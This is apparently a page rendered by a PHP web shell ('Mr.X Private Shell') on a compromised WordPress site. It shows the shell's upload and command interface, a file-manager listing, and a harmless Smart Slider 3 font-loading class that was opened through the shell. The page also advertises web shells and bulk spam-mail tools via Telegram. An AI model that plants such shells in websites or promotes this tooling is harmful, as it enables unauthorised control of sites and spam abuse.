__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php


namespace Nextend\Framework\Asset\Fonts\Google;


use Nextend\Framework\Asset\AbstractAsset;
use Nextend\Framework\Asset\Css\Css;
use Nextend\Framework\Cache\CacheGoogleFont;
use Nextend\Framework\Filesystem\Filesystem;
use Nextend\Framework\Font\FontSettings;
use Nextend\Framework\Url\UrlHelper;
use Nextend\SmartSlider3\SmartSlider3Info;

class Asset extends AbstractAsset {

    public function getLoadedFamilies() {
        return array_keys($this->files);
    }

    function addFont($family, $style = '400') {
        $style = (string)$style;
        if (!isset($this->files[$family])) {
            $this->files[$family] = array();
        }
        if (!in_array($style, $this->files[$family])) {
            $this->files[$family][] = $style;
        }
    }

    public function loadFonts() {

        if (!empty($this->files)) {
            //https://fonts.googleapis.com/css?display=swap&family=Montserrat:400%7CRoboto:100italic,300,400

            $families = array();
            foreach ($this->files as $name => $styles) {
                if (count($styles) && !in_array($name, Google::$excludedFamilies)) {
                    $families[] = $name . ':' . implode(',', $styles);
                }
            }

            if (count($families)) {
                $params = array(
                    'display' => 'swap',
                    'family'  => urlencode(implode('|', $families))
                );

                $url = UrlHelper::add_query_arg($params, 'https://fonts.googleapis.com/css');

                $fontSettings = FontSettings::getPluginsData();
                if ($fontSettings->get('google-cache', 0)) {
                    $cache = new CacheGoogleFont();

                    $path = $cache->makeCache($url, 'css');

                    if ($path) {
                        $url = Filesystem::pathToAbsoluteURL($path) . '?ver=' . SmartSlider3Info::$revisionShort;
                    }
                }

                Css::addUrl($url);
            }

        }

        return true;
    }
}

Filemanager

Name Type Size Permission Actions
Asset.php File 2 KB 0664
Google.php File 575 B 0664
Filemanager